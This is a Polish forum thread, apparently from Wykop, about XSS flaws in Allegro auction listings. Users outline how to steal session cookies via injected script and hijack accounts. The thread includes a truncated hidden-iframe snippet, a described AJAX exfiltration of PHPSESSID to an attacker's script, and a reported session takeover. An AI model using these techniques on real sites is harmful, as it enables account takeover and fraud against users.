Allegro ponownie zagrożone - dwie nowe luki bezpieczeństwa

Zabezpieczenia Allegro nie działają - w opisach aukcji można bez problemów stosować zakazane znaczniki (X)HTML, skrypty JavaScript, a także obiekty Flash. Co to oznacza? - przejęcie dowolnego konta nie jest problemem ...

[ughost]

jak wiadomo - dziury zostały już połatane.. a przynajmniej większość.

Właśnie teraz to znalezisko załsuguje na mój wykop ;)

[Adriano]

Co zostało połatane? O niczym takim nie słyszałem ... - chyba, że chodzi o pierwszą lukę z position: absolute?

[jaceks]

wieksza czy mniejsza to nie ma znaczenia,wystawienie aukcji w czyims imieniu to juz pelna kompromitacja bezpieczenstwa allegro

te ostatnie watki o dziurach w allegro/ebay robia sie coraz ciekawsze, u nich pewnie goraczkowo probuja latac dziure i mysle ze lada moment , chocby przez wykop jakis dziennikarz sie do tego dorwie i "shit will hit the fan" uslyszymy o tym wzmianke w wiadomosciach. Zebysmy sie przy tym tylko "nie poparzyli", czasem firmy szukajac

[ughost]

czynnie brałeś udział w temacie - więc jesteś przestępcą?:P

[Adriano]

W obecnej sytuacji pracownikom Allegro mogę jedynie życzyć powodzenia - miłego szukania.

[k.....d]

No, mądrale - to teraz do roboty i się główcie jak ten cały kod wstawić do aukcji, heuhue :P. Adriano ma swój sposób, choć ja znalazłem inny i prawdopodobnie oba się od siebie różnią (czyli błędy można wywołać na dwa różne sposoby). Linka do aukcji póki co nie dam :P.

[Adriano]

Możesz podać więcej informacji (niekoniecznie szczegółowych - porównanie)? (adriano/at7pl.pl)

Chodzi o wywołanie błędu parsera na etapie przetwarzania kodu CSS, (X)HTML, czy JavaScript? (tyle wystarczy)

[f.....t]

Reasumując - wiem, że można wykrasc id sesji, to nawet nieszczególnie skomplikowane. Ale taki id sesji daje ci mozliwosc wejscia na konto usera poki sie on nie wyloguje - masz na to kilka minut. I w zasadzie mozesz wykonac kilka podstawowych operacji typu kupno sprzedaz. Po kupnie i sprzedazy user dostaje emaila, a skoro jest akurat przy kompie to zapewne za chwile go odczyta i podejmie odpowiednie kroki - zakonczy aukcje itp.

[maver]

4 Linijki:

var zdalnaRamka = document.createElement ( 'IFRAME' );

zdalnaRamka.style.visibility = 'hidden';

zdalnaRamka.src

[jerz]

No to pięknie, właśnie wyczytałem, że: "Nie sprawdzają nawet zgodności adresu IP z tym, który zapoczątkował sesję." Tak więc nie doceniłem ignorancji ekipy allegro...

[Zanos]

o prosze krejd, czyli cos jednak sie dalo zrobic ... Wystawienie z czyjegos konta aukcji to tez nie w kij dmuchal.

Wyslijcie to do allegro - powinni kapusta rzucic za przetestowanie i poinformowanie o wszelkich nieprawidlowosciach. :)

Zastanawia mnie czemu ten temat ma 26 wykopow a np cos o pakowaniu procka w podpaske ma wiecej... no ale moze za duzo sie zastanawiam.

[ughost]

..no nie dziwię się:P

[k.....d]

Podpaska owned :D.

edit

Wiesz, temat troszkę się już pewnie przejadł społeczności Wykopu :P.

[k.....d]

Pomyłka. Dałem ID sesji znajomemu - z powodzeniem wystawił z mojego konta aukcję.

[KKKas]

Czyli nie wiążą ID sesji z ip, UA ? To chyba jest podstawa ? ;-)

[k.....d]

Gadałem chwilkę z ughostem na GG - oj tak, bardzo nakręcony człowiek, głównie na to co robi :D. Ale ma chłopak cel i dzięki temu "nakręceniu" potrafi zawzięcie go zrealizować.

@up

Była już przecież jedna afera z XSS na Allegro. Metoda o której mówisz (podkradanie id sesji) - raczej nie ma racji bytu.

[KKKas]

maver: Drugi przykład - wysłanie ciastka PHPSESSID przez AJAX do skryptu PHP który powiadamia mnie na GG / SMS o nazwie konta i ID sesji, dzięki temu włamuję się w kilka sekund na Twoje konto. Wystarczy tylko wejść do takiej aukcji.

Jeśli już, to taki skrypt php powinien sam wejść na allegro z danym ciastkiem i coś wykonać automatycznie. Ręcznie to sobie można...

Wydaje mi się, że jedyne co można w ten

[ughost]

maver.. udowodnij

[maver]

Owszem, jeśli ktoś chciałby to w jakikolwiek sposób wykorzystać to trzebaby to zautomatyzować.

Nie powiedziałem nigdzie że można wykraść w ten sposób hasło :). Jedyne co zyskujemy to dostęp do konta użytkownika w ograniczonym stopniu (do ustawień nie da się wejść). Ewentualnie można dzięki temu w dość łatwy sposób przekierować ofiarę na stronę phisingową na której to dopiero wyciągnie się od niego hasło. Ale to już trzeba liczyć na to, żeby użytkownik

[ughost]

Oj dobra dobra.

Pełen luz - ale i tak czekam na demko.. z resztą nie tylko ja zapewne. Chce po prsotu sprowokowac pewne osoby do poczynienia pewnych korków.. wtedy allegro.pl raczej zadziała i mam nadzieję coś z tym fantem zrobi.

Nakręcony / nienakręcony.. sam bardzo dużo kupuję i sprzedaję min. na allegro.pl - więc to nie dziwne że czekam na dowód że jest jak jest, a nie że koleś mi wyświetli alert();